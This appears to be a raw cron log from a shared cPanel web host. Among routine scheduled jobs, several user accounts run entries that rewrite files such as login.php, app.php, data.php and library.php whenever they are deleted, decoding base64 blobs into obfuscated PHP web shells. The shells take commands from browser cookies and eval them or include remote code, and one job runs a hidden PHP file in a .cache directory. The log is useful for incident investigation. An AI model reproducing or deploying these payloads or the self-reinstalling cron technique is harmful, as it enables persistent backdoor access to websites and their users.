Mar  2 02:22:02 medusa CROND[17789]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:22:02 medusa CROND[17791]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:22:02 medusa CROND[17792]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:22:02 medusa CROND[17794]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:22:02 medusa CROND[17795]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:22:02 medusa CROND[17796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:22:02 medusa CROND[17798]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:22:02 medusa CROND[17799]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:22:02 medusa CROND[17800]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:22:02 medusa CROND[17801]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:22:02 medusa CROND[17802]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:22:02 medusa CROND[17808]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:23:02 medusa CROND[24592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:23:02 medusa CROND[24593]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:23:02 medusa CROND[24594]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:23:02 medusa CROND[24596]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:23:02 medusa CROND[24595]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:23:02 medusa CROND[24601]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:23:02 medusa CROND[24602]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:23:02 medusa CROND[24600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:23:02 medusa CROND[24603]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:23:02 medusa CROND[24604]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:23:02 medusa CROND[24608]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:23:02 medusa CROND[24609]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:24:01 medusa CROND[30575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:24:02 medusa CROND[30688]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:24:02 medusa CROND[30689]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:24:02 medusa CROND[30690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:24:02 medusa CROND[30693]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:24:02 medusa CROND[30694]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:24:02 medusa CROND[30701]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:24:02 medusa CROND[30702]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
